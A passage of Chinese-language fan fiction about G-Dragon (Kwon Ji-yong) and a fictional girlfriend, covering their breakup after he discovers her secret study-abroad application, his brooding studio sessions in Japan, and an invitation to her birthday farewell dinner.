“等过段时间吧,”永裴在聚餐后,拍着至龙的肩膀,“等大众的记忆慢慢淡去一些。我们都在,随时可以重新开始。Bigbang永远是五个人,缺一不可。” TOP言简意赅:“嗯。一直在。” 大声打趣道:“哥不在,胜利都快上天了,急需你回来镇压。” 胜利立刻哇哇大叫着反驳,引来一片笑声。 至龙看着他们,眼眶微微发热,但不再是痛苦的泪水。 “嗯。我们是打不倒的Bigbang。” 这一刻,那个舞台上的王者,灵魂深处的某些东西正在慢慢归位。希望和力量在兄弟们的鼓励和支持下,一点点充盈他的内心。 88.第 88 章 初星下班回来,手里还拎着至龙爱吃的甜品,对着屋内扬声喊道:“亲爱的,我回来啦!” 往常,即使至龙在家里,也会应一声,或者至少有点动静。但今天,屋里一片寂静,静得只能听到自己的呼吸声,这让她心底升起一丝不安。 初星换了鞋,心里嘀咕着是不是跟永裴欧巴他们出去吃饭了?还是睡着了? 她放下东西,往里走了几步。目光扫过四周,然后定格在书房虚掩的门上。门缝里,透出电脑屏幕的光亮。 她走过去,脚步轻得几乎听不见,心中那点不安的涟漪逐渐扩大。轻推开门。果然,至龙坐在电脑前,身形僵硬,肩膀绷紧。 “原来在家啊?”初星暗自松了口气,嗔怪出声,“怎么不出声?吓我一跳,还以为你出去了呢。” 至龙没有应答,一动不动地坐着,连呼吸的起伏都微不可察。 初星感到奇怪,又往前凑近了一步:“怎么了?看什么这么入神?” 难道是网上又发了什么? 她走到他身侧,视线落在电脑上。 屏幕上显示着两封并排打开的邮件。 一封来自米兰理工大学,是关于“室内与空间设计专业硕士课程录取通知”。 另一封,是她草拟了许久、却始终没有发送的——发给米兰理工大学招生办的,申请将入学时间推迟一个月的邮件草稿。正文里写着因“紧急个人事务”需要处理,申请延期入学。 轰—— 窗外惊雷炸响。 炸在她耳边,也炸得她脑子嗡嗡作响。 至龙缓缓转过头,敛下眸中的痛意,强撑着平静道:“……这是什么?什么时候……开始申请的?” 初星差点瘫软下去,嘴唇不受控制地颤抖着,好半晌,才找到自己的声音:“……半……半年前……” “半年前……半年……整整半年……”他有点想笑,但是心里又好似破了个大洞,死寂的平静开始出现裂痕,露出底下赤红的剧痛,“你一个字……都没有跟我提过?” “我……我想着……等真的通过了……再告诉你……”初星垂眸解释,声音慌乱无措,可说出的话连她自己都无法相信。 “为什么?!”至龙猛地打断她,站起身,往前倾了倾了身体,逼视着她,通红的眼眶里,泪水在不断积聚,却倔强地不肯落下,只是让那双眼睛显得更加灼亮,也更加破碎。 “为什么不说?!从半年前到现在!你有那么多次机会!你可以告诉我!哪怕只是随口一提!你为什么选择瞒着我?!” “我这段时间……不管发生什么事……好的坏的……崩溃的……想死的……我第一个想到的都是你!我什么都跟你说!我什么都依赖你!我以为……我以为我们之间没有秘密……我以为……” “我所做的一切都是因为爱你,想着你才能坚持下来,可你陪着我,却……计划着离开……计划了半年……把我完全蒙在鼓里……” 他又想笑但眼泪却率先涌出。 黑沉沉的布满水光的眼睛死盯着她,好似是第一次看清她。 初星心口发痛,慌得不知所措,只能扑上去,急切地否认,手臂紧紧环住他,勒得自己手臂都发疼,“不是的!我没有想离开你!我只是想去学习……我只是……” “学习?”至龙没有回抱她,身体僵硬得像一块冰封的石头,没有任何温度。 他的声音从她头顶传来,带着近乎尖刻的嘲讽和更深的痛苦,“半年前……我们还好好的……你就在计划着一个人去那么远的地方学习?初星,你真的在意过我吗?” “我对你不好吗?我什么都顺着你,你为什么要这么对我?” “还是……” “我对你太好了?” “所以你这么不顾及我的感受!不考虑我的想法!” 他用力推开她,双手抓着她单薄的肩膀,迫使她抬起头,直视着自己燃烧着的眼睛。 “看到了吗?里面的痛苦……能感受到吗?” “你真的有爱过我吗?” 他的声音越来越高,情绪彻底失控,每一个字都像是泣血,是从那颗伤痕累累、千疮百孔的心脏里硬生生挖出来的,带着滚烫的温度和腥甜的气息,“这么多年……因为爱你……我在你身后唯唯诺诺,没有尊严,没有底线!我卑躬屈膝,像一只狗!被你挥之即来招之即去!” “是!我承认我占有欲强!我天天给你发信息黏在你身边惹你烦!可我为什么这样?!我只是怕!我怕你一转身就不要我了!我怕你哪天觉得我没意思了就消失了!” “你呢?!”他几乎是吼了出来,眼泪混合着无尽的痛苦,又大颗大颗砸落下来,滚烫地灼烧着他苍白的脸颊,也仿佛烫伤了初星的眼睛和心脏,“你有给过我一点点安全感吗?你有真正在乎过我的感受吗?!” “在一起,是你说了算!分手,也是你说了算!和好……还是你说了算!甚至连见家长……都是按你的节奏来!我就像个等着你施舍一点关注的乞丐!你高兴了逗逗我,不高兴了就一脚踢开!” “现在……连未来的人生规划……你都可以完全把我排除在外!半年!初星!整整半年!我在你心里到底算什么?!一个呼之即来挥之即去的玩偶吗?!一个根本不需要被考虑存在的透明人吗?!” 他不停摇晃着她的肩膀,像是要把这些年的不甘和委屈全都摇出来,声音嘶哑,充满了彻底的绝望: “你告诉我……初星……你到底……有没有哪怕一刻……像我在乎你一样……在乎过我?!” 她看着他,心碎成了一片一片的,指尖都要掐进肉里,哭着辩解:“不是的!我是在乎你的!” “真的在乎吗?”至龙打断她,声音轻得像耳语,却带着千斤重的质疑和清醒,“真的在乎……为什么什么都不跟我说?半年……初星,半年啊……我在你那里,就这么不值得信任,不值得告知吗?” 他看着她慌乱的神情,忽然像是被抽干了所有力气,抓着她肩膀的手,无力地滑落。他后退了一步,眼睛里的情绪都慢慢褪去,只剩下疲惫到极致的哀伤。 他低下头,看着地面,不是在跟她说话,而是在对自己进行最后的选择: “初星……我爱你。” “可是……我爱你爱的太痛苦了。” 他深吸了一口气,胸膛剧烈起伏了一下,说出了那句斩断所有牵绊的话: “我们分手吧。” 初星瞪大了眼睛,心脏像是被冻结,停止了跳动。她希望是自己出现了幻听:“……什么 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他吸了一口带着寒意的空气,手指重重按了按眉心,试图驱散因一夜未眠和情绪翻涌而带来的疲惫与烦躁。 那阵莫名的躁动,似乎找到了更深的根源——那件被送还的外套,以及那声无意间唤起的、早已被尘封的亲昵。 他侧头坐着,副驾驶座上空空如也,那个装着外套的纸袋已经物归原主,仿佛从未出现过。 良久,他发动车子,汇入车流,驶向的工作室方向。 他需要投入工作,需要将昨夜那些纠结的旋律碎片和潦草写下的痛苦词句,转化为更有形的东西。音乐始终是他的出口和避难所。 或许,只有将胸腔里那股无处排遣的情绪倾注到创作中,他才能重新获得内心的秩序与平静。 停好车,他熟门熟路地进入工作室,走到电脑前,把那些旋律导入软件。 耳机里传来 raw 的情感宣泄,他滑动鼠标,看着那些在情绪波动下写下的句子,在某句停留停留许久: [但是这句话绝对真心我喜欢你] 一天前,他还在舞台上接受万众欢呼,扮演着那个光芒四射的G-Dragon,而此刻,他只是权至龙,一个……普通人。 他努力将这些动荡再次压回心底。重新戴好耳机,注意力拉回到音乐本身,手指在键盘和控制器上开始工作,把原始的碎片打磨成更精致的旋律和更具冲击力的节奏。 时间在专注中流逝。直到手机的震动打断了他——是日本的临时助理发来的消息,提醒他晚上还有一个本地音乐人之间的交流聚会。 权至龙看了一眼时间,最后瞥了一眼那句“我们不要相爱了”,眼神晦暗不明,最终关掉了文档。 起身,拿起外套。当他再次走出工作室时,脸上已经重新戴上了符合G-Dragon身份的表情,把那些意外插曲以及波澜都掩藏于墨镜后。 大阪的风吹过,带来远处都市的喧嚣。他快步走向车位,接下来的日程仍在继续。世界的目光依旧追随着他,而他,必须继续前行。 89.第 89 章 权至龙的到来引起聚会一阵骚动,但很快便被主人引入氛围中。 他在日语和英语之间轻盈切换,与各色人等寒暄周旋。手中端着一杯威士忌,脸上挂着微笑,弧度精准,温度却停留在表面。 有的聊起演唱会的盛况,极力称赞他的舞台掌控力和音乐的前卫性。他微微颔首致谢,语气谦逊得体得像背诵台词,巧妙地将话题引向对方近期的作品,避开了任何可能触及他内心的探询。 在这种场合,他是G-Dragon,是时尚潮流icon,是无可争议的焦点,却又始终隔着一层屏障,冷静地、有些倦怠地观察着周遭的一切。他的注意力看似投入在眼前的觥筹交错之中,但只有他自己知道,有一部分灵魂一直漂浮在外,像一艘迷失了航向、在浓雾中找不到岸的孤舟,漫无目的地漂泊。 杯中的酒液渐渐见底,如同他现在逐渐耗尽的精力。侍者适时躬身,为他续上。指尖冰凉,触碰杯壁时,脑海里却无端闪过另一个温度——清晨,她接过纸袋时,手指那瞬间的微颤。 他微微蹙眉,将杯中新的酒液一饮而尽,灼热的液体滑过,企图用这强烈的感官刺激压下心底那些带着苦涩味道的波澜。 “G-Dragon桑最近有新的创作灵感吗?”一位相熟的音乐制作人笑着探询,“听说您每次来日本,总能捕捉到一些特别的气息。” 权至龙晃动着杯中的冰块,唇角勾起一个模糊的弧度:“灵感……像夜风一样无处不在,也像晨露一样转瞬即逝。重要的是……能否在它消逝前,抓住它那滑腻的尾巴。”他的回答模棱两可,带着艺术家惯有的玄妙,再次巧妙避开了实质内容。 而只有他自己知道,此刻盘旋在他脑海深处、纠缠不休的,并非东京迷离的霓虹或大阪温暖的烟火气息,而是一段未完成的旋律,和几句潦草的、关于痛苦与最后真心的词句。 聚会持续到深夜,他才得以脱身,坐回车里时,身体的疲惫袭来,带着酒精催化下的钝重,但大脑反而异常清醒。 手机躺在座位上,没有一丝新的消息提示的光亮。Kiko没有再联系他,她……更不可能。 他闭上眼,指尖抵着发胀的太阳穴。 那件外套……她为什么会单独去找胜利?仅仅是朋友间的相处?还是…… 一些被忽略的细节开始回溯:胜利电话里那过于爽快、甚至上扬的尾音;那件被叠得异常整齐、边角分明,仿佛被特意保管的外套;以及……她开门时,眼神迷离、意识模糊的状态。 某个模糊的、他不愿去深入证实、甚至害怕去证实的猜测悄然浮上心头,盘踞不去,用猩红的信子舔舐着他敏感的神经。 他猛然睁开眼,发动车子,再次回到工作室。冰冷的空气比离开时更添了几分寂寥,像无形的冰霜凝结在每一寸空间。权至龙甩掉外套,径直走向控制台。 他沉浸在黑暗里,戴上耳机,那些录制的旋律比任何烈酒都更猛烈地冲击着他的神经。他需要这种感觉,近乎自虐地需要着。需要将这几乎要将他撕裂的情绪,锻造打磨成更锋利、更可控的节奏和音效;需要将自己当初那份决绝选择带来的、至今仍在隐隐作痛的后坐力,淬炼成可供反复咀嚼、鲜血淋漓的艺术品。 手指在键盘和各种控制器上飞速移动,拧动旋钮,调整着每一条音轨的均衡和混响参数。他试图用技术的极致精确,去覆盖、去驯服情感的混沌无序,将那句“我们分手吧”融入更具工业质感和冰冷力量的鼓点中;将那句“我爱你爱的太痛苦了”的叹息隐藏在缥缈空灵的和声后。 工作。专注。他命令自己,仿佛在念诵咒语,世界里只剩下这个。 然而,酒精和疲惫腐蚀了他筑起的心防。在那段循环播放的主旋律中,某些他深深压抑的画面,不受控制地、鲜明地闪回—— 不是舞台上震耳欲聋的欢呼与刺眼的光芒,而是他最后一次摔门离开时,眼角余光瞥见她瞬间煞白的脸,和那只僵在半空、想要挽留却又不敢的手; 不是庆功宴上肆意喷洒的、带着虚假欢愉的香槟泡沫,而是他厉声质问她时,她眼中慌乱躲闪的泪光,和那句苍白到心碎的“我想着通过了再告诉你”; 也不是他臆想中她可能的挽留姿态,而是他自己转身之后,独自走在空旷的走廊里,心脏被生生撕裂、却强忍着不肯回头的痛楚…… “砰!” 他一拳砸在昂贵的键盘上,发出一声刺耳的不和谐音,打断了循环的旋律,也斩断了那些意图为他当初决定辩解或后悔的回忆。 手背传来痛感,呼吸变得粗重不稳。他一把扯下耳机,狠狠摔在控制台上,发出沉闷的响声。 为什么还是不行? 为什么即使是她选择了隐瞒,那股被背叛的愤怒和失望过后,留下的依旧是无边无际的痛楚? 那些过往碎片,为何依旧能如此轻易刺穿他所有的防御? 他烦躁地扒着头发,目光扫过手机。屏幕漆黑,安静得像块砖头。 没有信息。 不可能有她的。 他到底在想什么?在烦躁什么?难道还在卑微期望一个对他隐瞒了重大人生计划的人,会来低头求和吗? 他扯了扯嘴角,露出一抹冷笑,眼睛却红彤彤的含着泪。 走到吧台,给自己倒了满满一杯威士忌,没有加冰,仰头直接灌了下去。 烈酒灼烧着喉咙和胃壁,带来虚幻的痛快感,他需要这更强烈的刺激来巩固决心,来镇压那些可能动摇的、可耻的脆弱情绪。 他的指尖在手机通讯列表上焦灼地滑动,掠过一个个或熟悉或陌生的名字,最终却停滞 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所以这顿也算小小庆祝一下,外加给她和珍雅怒那践行了。怎么样哥?来不来?没空就算了,没事儿!” “……” 权至龙整理的动作顿住,指尖捏着那张写满音符的纸,微微收紧。 生日只差一天…年年一起过… 是了,他怎么会不记得。那些年,他都在。有时是热闹的餐厅包间,有时是家里,有时就在狭小的练习室角落。他记得胜利咋咋呼呼地点蜡烛,记得初星被抹奶油时又笑又恼的样子,记得大家一起追逐打闹,笑得跟个傻子一样。 明明曾经他也是那热闹画面中的一分子,而如今,这“传统”的延续,却需要由胜利来告知。还混合着对今晚场合本能的抗拒,以及对她即将离开的…某种难以名状的滞涩感。 他快要脱口而出“不去了,你们聚吧”。 但话到嘴边,又硬生生刹住。 所有人都去。团队都在,如果他单独缺席,显得太过刻意。而且,用胜利和她的生日由头,外加践行,这理由充分得让他找不到合适的借口推脱。 他再开口时,似乎全然不在意的说着:“哦,这事啊…行,我知道了。晚上几点?” “好嘞!大概七点!就昨天的酒店,哥你知道房间号吧?我再给你发一遍吧!”胜利听起来更欢快了。 “嗯,没什么事就先挂了,这边还有点东西要弄。”权至龙声音平淡得听不出什么情绪。 “好嘞!哥你忙!” 电话挂断。 权至龙将那张皱了的谱纸扔回桌上,屏幕上是胜利刚发来的酒店地址和房间号。 他盯着那行地址看了几秒,眼神晦暗不明。最终,还是没有回复任何消息,只是将手机按熄,反扣在桌面上。